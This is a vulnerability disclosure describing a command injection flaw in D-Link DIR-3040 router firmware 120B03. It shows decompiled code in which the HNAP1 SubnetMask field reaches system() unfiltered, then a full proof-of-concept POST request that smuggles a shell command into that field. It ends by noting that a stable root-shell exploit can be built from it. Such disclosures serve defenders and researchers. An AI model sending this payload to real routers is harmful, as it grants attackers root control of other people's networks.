D-link DIR3040_A1_FW120B03.bin Command injection vulnerability

Overview

- Manufacturer's website information：https://www.dlink.com/
- Firmware download address：https://tsd.dlink.com.tw/

A problem was found on the D-Link DIR-3040 device with firmware 120B03. This problem is a command injection that allows remote attackers to execute arbitrary code and obtain a root shell. Command injection vulnerabilities allow attackers to execute arbitrary operating system commands via a crafted/HNAP1 POST request.

Vulnerability details

DIR-3040 prog.cgi Keyword api SetNetworkSetting.

```
123        }
124      else {
125        __s = (char *)webGetVarString(param_1,"/SetNetworkSettings/SubnetMask");
126        if (__s == (char *)0x0) {
127          local_178 = 0xb;
128        }
129      else {
130          iVar2 = webGetVarString(param_1,"/SetNetworkSettings/DeviceName");
131          if (iVar2 == 0) {
132            local_178 = 0xb;
133          }
134        else {
135            iVar3 = webGetVarString(param_1,"/SetNetworkSettings/LocalDomainName");
```

The program obtains the content through the / setnetworksettings / SubnetMask parameter and passes it to __s

```
223                              WRSConfigSet("lan0_netmask",__s);
224                              sVar12 = strlen(__s);
225                              if (6 < sVar12) {
226                                sprintf(acStack196,"echo %s >/proc/ipinfo/net_mask",__s);
227                                system(acStack196);
228                              }
```

Then __s formats the matched content into acStack196 through the sprintf function, and finally executes the content in acStack196 through the system function. There is a command injection vulnerability

POC

1. Attack with the following POC attacks

```
1   POST /HNAP1/ HTTP/1.1
2   Host: 192.168.0.1:7018
3   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101
    Firefox/98.0
4   Accept: text/xml
5   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6   Accept-Encoding: gzip, deflate
7   Content-Type: text/xml
8   SOAPACTION: "http://purenetworks.com/HNAP1/SetNetworkSettings"
9   HNAP_AUTH: 3C5A4B9EECED160285AAE8D34D8CBA43 1649125990491
10  Content-Length: 632
11  Origin: http://192.168.0.1:7018
12  Connection: close
13  Referer: http://192.168.0.1:7018/Network.html
14  Cookie: SESSION_ID=2:1556825615:2; uid=TFKV4ftJ
15
16  <?xml version="1.0" encoding="UTF-8"?>
17  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
18  <soap:Body>
19  <SetNetworkSettings xmlns="http://purenetworks.com/HNAP1/">
20    <IPAddress>192.168.5.1</IPAddress>
21    <SubnetMask>&& ls > /tmp/456 &&echo 1</SubnetMask>
22    <DeviceName>dlinkrouter</DeviceName>
23    <LocalDomainName></LocalDomainName>
24    <IPRangeStart>1</IPRangeStart>
25    <IPRangeEnd>254</IPRangeEnd>
26    <LeaseTime>10080</LeaseTime>
27    <Broadcast>false</Broadcast>
28    <DNSRelay>true</DNSRelay>
29  </SetNetworkSettings>
30  </soap:Body>
31  </soap:Envelope>
```

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell